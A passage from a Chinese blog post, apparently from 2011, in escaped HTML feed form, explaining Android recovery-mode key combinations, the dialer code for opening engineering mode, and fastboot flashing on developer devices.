刷机。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;br /&gt;恢复模式的说明：&lt;/p&gt;&#xD;
&lt;p&gt;在此模式下可打开命令解释程序（shell），刷新映像文件（flash image），执行备份等。当然这一切取决于你手机上的recovery image版本。&lt;br /&gt;&amp;nbsp;进入方法：菜单键+电源键。&lt;br /&gt;&amp;nbsp;Home+Back ：重启系统&lt;br /&gt;&amp;nbsp;Alt+L ：显示系统日志&lt;br /&gt;&amp;nbsp;Alt+S ：这个是大家刷机最常用到的组合键&lt;br /&gt;&amp;nbsp;Alt+W ：清空数据、恢复出厂设置&lt;br /&gt;&amp;nbsp;Alt+B ：使用nandroid 备份系统&lt;br /&gt;&amp;nbsp;Alt+X ：退出recovery模式并返回控制台&lt;/p&gt;&#xD;
&lt;p&gt;Android工程模式的说明：&lt;br /&gt;&amp;nbsp;Android操作系统功能十分强大，不属于目前市面上任何一款操作系统，不过它的强大都被隐藏起来了，比如它基于Linux 2.6版内核，因此可以运行很多Linux网络命令行，但是系统并没有内置输入命令行的工具，必须通过第三方程序才能运行Linux命令行。查看系统信息也是如此，虽然在Settings里面的各项都已经非常明了的显示，而且在系统状态方面比大多数操作系统显示更为全面，但是这些却不是它全部的状态，更为详细的状态在于它的工程模式，这个模式可以设置许多不能在正常状态下的设置，那么该如何才能进入Android工程模式呢？&lt;br /&gt;&amp;nbsp;进入方法：打开系统的拨号界面，输入&amp;#8220;*#*#4636#*#*&amp;#8221;（不带引号）即可进入，详细的设置在本站Android知识栏目中可以查看，切记，在不明白的情况下请不要随便改动设置。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;br /&gt;开发版的工程模式的说明：&lt;br /&gt;&amp;nbsp;使用开发版的工程模式，进行 fastboot 刷机。&lt;br /&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/1946221.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2011/01/27/1946221.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
